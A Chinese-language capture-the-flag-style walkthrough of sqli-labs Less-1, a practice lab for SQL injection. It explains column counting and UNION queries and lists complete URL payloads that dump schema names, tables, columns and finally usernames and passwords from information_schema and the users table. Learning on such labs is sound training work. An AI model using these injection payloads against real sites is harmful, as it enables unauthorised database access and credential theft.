我们先打开第一关
页面是这样的,Please input the ID as parameter with numeric value,意思是请以数字值作为参数输入用户标示符。
这样的话,我们首先要判断这是数字注入还是字符注入。
经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询
然后在id后面加个',就会报错,可能是字符型注入
.输入--+将sql后面的语句注视掉后,发现页面回显正常,则证明这个地方是单引号字符型注入
然后我们需要用order by 来判断有多少列数据,然后order by 4,发现是报错的,
然后猜想可能有不到4列的数据,那就order by 3吧,结果发现是正确的。
然后我们需要用到union select,
联合查询特点:
1、要求多条查询语句的查询列数是一致的!
2、要求多条查询语句的查询的每一列的类型和顺序最好一致
3、union关键字默认去重,如果使用union all 可以包含重复项
所以这就是我们为什么需要用order by 的原因,我们需要确定表的列数才可以使用联合查询
这样我们可以使用union select 1,2,3查看页面是否有显示位。
还有在使用联合查询之前我们需要把id值随便改一个,例如00,绝不可以是数据库里面所存在的值。
发现页面先输出了2和3,说明页面有2个显示位
然后利用sql查询语句依次爆破出数据库内的数据库名,表名,列名,字段信息
http://10.0.69.29/sqli-labs-master/Less-1/?id=00%27%20union%20select%201,(select%20group_concat(schema_name)%20from%20information_schema.schemata),3%20--+
这是一个查询数据库名信息的语句
查询security内的所有表名
http://10.0.69.29/sqli-labs/Less-1/?id=00' union select 1,(select group_concat(schema_name) from information_schema.schemata),(select group_concat(table_name) from information_schema.tables where table_schema='security')--+
然后查询security里面所有的表名!列名有:users、emails...
http://10.0.69.29/sqli-labs-master/Less-1/?id=00%20%27%20union%20select%20null,null,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%23
然后需要爆破列名
http://10.0.69.29/sqli-labs-master/Less-1/?id=%2000%27%20union%20select%20null,null,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)%23
发现了username和password,继续挖掘
http://10.0.69.29/sqli-labs-master/Less-1/?id=00%20%27%20union%20select%20null,null,(select%20group_concat(username,0x3a,password)%20from%20users)%23
这样就爆出了密码与用户名,还有就是0x3a表示的是分隔符;